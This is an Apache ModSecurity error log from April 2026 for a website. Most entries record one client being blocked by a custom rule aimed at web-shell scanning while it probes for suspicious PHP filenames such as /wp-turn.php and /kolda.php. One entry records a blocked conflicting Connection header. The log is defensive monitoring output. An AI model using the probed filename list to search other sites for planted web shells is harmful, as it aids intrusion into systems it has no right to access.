[Wed Apr 08 20:50:42.601872 2026] [:error] [pid 12453:tid 12473] [client 68.221.129.52:41614] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/img.php"] [unique_id "adZPIhjtW7S6XsLPvrQq4gAAAJI"]
[Wed Apr 08 20:50:43.162800 2026] [:error] [pid 12453:tid 12468] [client 68.221.129.52:40342] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "adZPIxjtW7S6XsLPvrQq4wAAAI0"]
[Wed Apr 08 20:50:43.703299 2026] [:error] [pid 35642:tid 35649] [client 68.221.129.52:57694] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "adZPIw-CqryxdEs5DN9aNQAAAEU"]
[Wed Apr 08 20:50:44.253268 2026] [:error] [pid 35642:tid 35668] [client 68.221.129.52:54697] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "adZPJA-CqryxdEs5DN9aNgAAAFg"]
[Wed Apr 08 20:50:44.840029 2026] [:error] [pid 12453:tid 12474] [client 68.221.129.52:46508] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "adZPJBjtW7S6XsLPvrQq5wAAAJM"]
[Wed Apr 08 20:50:45.403513 2026] [:error] [pid 12453:tid 12455] [client 68.221.129.52:46561] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-turn.php"] [unique_id "adZPJRjtW7S6XsLPvrQq6QAAAIA"]
[Wed Apr 08 20:50:45.989805 2026] [:error] [pid 7047:tid 7053] [client 68.221.129.52:41625] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-turn.php"] [unique_id "adZPJeNh3oGO3pKiCzwWVwAAAYQ"]
[Wed Apr 08 20:50:47.021571 2026] [:error] [pid 35642:tid 35648] [client 68.221.129.52:46474] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-turn.php"] [unique_id "adZPJw-CqryxdEs5DN9aOwAAAEQ"]
[Wed Apr 08 20:50:47.780778 2026] [:error] [pid 35642:tid 35645] [client 68.221.129.52:46487] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-turn.php"] [unique_id "adZPJw-CqryxdEs5DN9aPQAAAEE"]
[Wed Apr 08 20:50:48.814811 2026] [:error] [pid 35642:tid 35650] [client 68.221.129.52:40327] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "adZPKA-CqryxdEs5DN9aPgAAAEY"]
[Wed Apr 08 20:50:49.583099 2026] [:error] [pid 64066:tid 64076] [client 68.221.129.52:54694] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "adZPKVR3WucJgr2vZGY91wAAAUc"]
[Wed Apr 08 20:50:50.227350 2026] [:error] [pid 7047:tid 7049] [client 68.221.129.52:33786] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "adZPKuNh3oGO3pKiCzwWYwAAAYA"]
[Wed Apr 08 20:50:51.063786 2026] [:error] [pid 7047:tid 7059] [client 68.221.129.52:33735] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "adZPK-Nh3oGO3pKiCzwWZAAAAYo"]
[Wed Apr 08 20:50:52.029142 2026] [:error] [pid 7047:tid 7072] [client 68.221.129.52:52906] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kolda.php"] [unique_id "adZPLONh3oGO3pKiCzwWaAAAAZc"]
[Wed Apr 08 20:50:52.621209 2026] [:error] [pid 35642:tid 35665] [client 68.221.129.52:46533] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kolda.php"] [unique_id "adZPLA-CqryxdEs5DN9aQwAAAFU"]
[Wed Apr 08 20:50:53.671093 2026] [:error] [pid 35642:tid 35661] [client 68.221.129.52:46493] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kolda.php"] [unique_id "adZPLQ-CqryxdEs5DN9aRwAAAFE"]
[Wed Apr 08 20:50:54.205479 2026] [:error] [pid 7047:tid 7065] [client 68.221.129.52:33731] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kolda.php"] [unique_id "adZPLuNh3oGO3pKiCzwWbwAAAZA"]
[Wed Apr 08 20:50:54.837006 2026] [:error] [pid 7047:tid 7063] [client 68.221.129.52:33737] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yussef.php"] [unique_id "adZPLuNh3oGO3pKiCzwWcAAAAY4"]
[Wed Apr 08 20:50:55.474883 2026] [:error] [pid 12490:tid 12505] [client 68.221.129.52:40357] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yussef.php"] [unique_id "adZPL21Fea4F4fbumr0AqQAAAM0"]
[Wed Apr 08 20:50:56.046925 2026] [:error] [pid 64066:tid 64078] [client 68.221.129.52:41642] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yussef.php"] [unique_id "adZPMFR3WucJgr2vZGY93AAAAUk"]
[Wed Apr 08 20:50:56.636866 2026] [:error] [pid 64066:tid 64069] [client 68.221.129.52:41633] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yussef.php"] [unique_id "adZPMFR3WucJgr2vZGY93QAAAUA"]
[Wed Apr 08 20:50:57.266482 2026] [:error] [pid 64066:tid 64086] [client 68.221.129.52:47787] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ay.php"] [unique_id "adZPMVR3WucJgr2vZGY93wAAAVE"]
[Wed Apr 08 20:50:57.809459 2026] [:error] [pid 12490:tid 12503] [client 68.221.129.52:46580] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ay.php"] [unique_id "adZPMW1Fea4F4fbumr0AqwAAAMs"]
[Wed Apr 08 20:50:58.339710 2026] [:error] [pid 12490:tid 12511] [client 68.221.129.52:46501] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ay.php"] [unique_id "adZPMm1Fea4F4fbumr0ArgAAANM"]
[Wed Apr 08 20:50:58.892523 2026] [:error] [pid 7047:tid 7060] [client 68.221.129.52:48989] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ay.php"] [unique_id "adZPMuNh3oGO3pKiCzwWegAAAYs"]
[Wed Apr 08 20:50:59.418011 2026] [:error] [pid 12453:tid 12460] [client 68.221.129.52:46477] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "adZPMxjtW7S6XsLPvrQq8gAAAIU"]
[Wed Apr 08 20:50:59.987467 2026] [:error] [pid 12385:tid 12405] [client 68.221.129.52:57727] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "adZPMyAjtvRQEkLosq2eUAAAABA"]
[Wed Apr 08 20:51:00.606593 2026] [:error] [pid 64066:tid 64079] [client 68.221.129.52:57682] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "adZPNFR3WucJgr2vZGY95QAAAUo"]
[Wed Apr 08 20:51:01.199981 2026] [:error] [pid 12453:tid 12469] [client 68.221.129.52:41632] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "adZPNRjtW7S6XsLPvrQq-AAAAI4"]
[Wed Apr 08 20:51:01.867009 2026] [:error] [pid 7047:tid 7071] [client 68.221.129.52:46571] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "adZPNeNh3oGO3pKiCzwWfQAAAZY"]
[Wed Apr 08 20:51:02.603426 2026] [:error] [pid 12386:tid 12439] [client 68.221.129.52:46498] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "adZPNhLhhLtqHi2gK7UZFAAAARc"]
[Wed Apr 08 20:51:03.341761 2026] [:error] [pid 7047:tid 7072] [client 68.221.129.52:54701] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "adZPN-Nh3oGO3pKiCzwWgQAAAZc"]
[Wed Apr 08 20:51:03.939750 2026] [:error] [pid 35642:tid 35663] [client 68.221.129.52:54667] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "adZPNw-CqryxdEs5DN9aTQAAAFM"]
[Wed Apr 08 20:51:04.582229 2026] [:error] [pid 7047:tid 7052] [client 68.221.129.52:46534] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x123x.php"] [unique_id "adZPOONh3oGO3pKiCzwWhQAAAYM"]
[Wed Apr 08 20:51:05.149934 2026] [:error] [pid 12453:tid 12472] [client 68.221.129.52:2308] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x123x.php"] [unique_id "adZPORjtW7S6XsLPvrQq_wAAAJE"]
[Wed Apr 08 20:51:05.798987 2026] [:error] [pid 64066:tid 64074] [client 68.221.129.52:40374] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x123x.php"] [unique_id "adZPOVR3WucJgr2vZGY97AAAAUU"]
[Wed Apr 08 20:51:06.883959 2026] [:error] [pid 7189:tid 7214] [client 68.221.129.52:54656] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x123x.php"] [unique_id "adZPOhaBqhBSu0L37lrTLQAAAdc"]
[Wed Apr 08 20:51:07.813666 2026] [:error] [pid 7189:tid 7195] [client 68.221.129.52:40326] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/trx24.php"] [unique_id "adZPOxaBqhBSu0L37lrTMAAAAcQ"]
[Wed Apr 08 20:51:08.500492 2026] [:error] [pid 7047:tid 7059] [client 68.221.129.52:33745] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/trx24.php"] [unique_id "adZPPONh3oGO3pKiCzwWiwAAAYo"]
[Wed Apr 08 20:51:09.027635 2026] [:error] [pid 12385:tid 12390] [client 43.153.104.196:55352] [client 43.153.104.196] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adZPPSAjtvRQEkLosq2eUwAAAAE"]
[Wed Apr 08 20:51:10.029154 2026] [:error] [pid 12453:tid 12473] [client 68.221.129.52:46489] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/trx24.php"] [unique_id "adZPPhjtW7S6XsLPvrQrDAAAAJI"]
[Wed Apr 08 20:51:10.860172 2026] [:error] [pid 35642:tid 35654] [client 68.221.129.52:57723] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/trx24.php"] [unique_id "adZPPg-CqryxdEs5DN9aUQAAAEo"]
[Wed Apr 08 20:51:12.070303 2026] [:error] [pid 35642:tid 35647] [client 68.221.129.52:46505] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "adZPQA-CqryxdEs5DN9aVAAAAEM"]
[Wed Apr 08 20:51:13.061624 2026] [:error] [pid 35642:tid 35659] [client 68.221.129.52:46511] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "adZPQQ-CqryxdEs5DN9aWgAAAE8"]
[Wed Apr 08 20:51:14.056036 2026] [:error] [pid 12453:tid 12473] [client 68.221.129.52:41607] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "adZPQhjtW7S6XsLPvrQrFQAAAJI"]
[Wed Apr 08 20:51:14.693575 2026] [:error] [pid 12386:tid 12425] [client 68.221.129.52:46512] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "adZPQhLhhLtqHi2gK7UZGAAAAQk"]
[Wed Apr 08 20:51:15.421939 2026] [:error] [pid 35642:tid 35645] [client 68.221.129.52:48976] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "adZPQw-CqryxdEs5DN9aYQAAAEE"]
[Wed Apr 08 20:51:16.284502 2026] [:error] [pid 7047:tid 7063] [client 68.221.129.52:54700] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "adZPRONh3oGO3pKiCzwWmgAAAY4"]
[Wed Apr 08 20:51:17.268918 2026] [:error] [pid 7189:tid 7204] [client 68.221.129.52:53384] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "adZPRRaBqhBSu0L37lrTOwAAAc0"]
[Wed Apr 08 20:51:17.829048 2026] [:error] [pid 7189:tid 7191] [client 68.221.129.52:41634] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "adZPRRaBqhBSu0L37lrTPgAAAcA"]
[Wed Apr 08 20:51:18.773612 2026] [:error] [pid 35642:tid 35659] [client 68.221.129.52:2342] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/less.php"] [unique_id "adZPRg-CqryxdEs5DN9aZQAAAE8"]
[Wed Apr 08 20:51:19.551008 2026] [:error] [pid 64066:tid 64092] [client 68.221.129.52:41623] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/less.php"] [unique_id "adZPR1R3WucJgr2vZGY-AgAAAVc"]
[Wed Apr 08 20:51:20.342286 2026] [:error] [pid 64066:tid 64079] [client 68.221.129.52:52874] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/less.php"] [unique_id "adZPSFR3WucJgr2vZGY-BQAAAUo"]
[Wed Apr 08 20:51:21.257122 2026] [:error] [pid 7189:tid 7201] [client 68.221.129.52:41620] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/less.php"] [unique_id "adZPSRaBqhBSu0L37lrTRgAAAco"]
[Wed Apr 08 20:51:22.120539 2026] [:error] [pid 64066:tid 64078] [client 68.221.129.52:40331] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "adZPSlR3WucJgr2vZGY-CQAAAUk"]
[Wed Apr 08 20:51:22.910734 2026] [:error] [pid 7189:tid 7203] [client 68.221.129.52:41655] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "adZPShaBqhBSu0L37lrTTQAAAcw"]
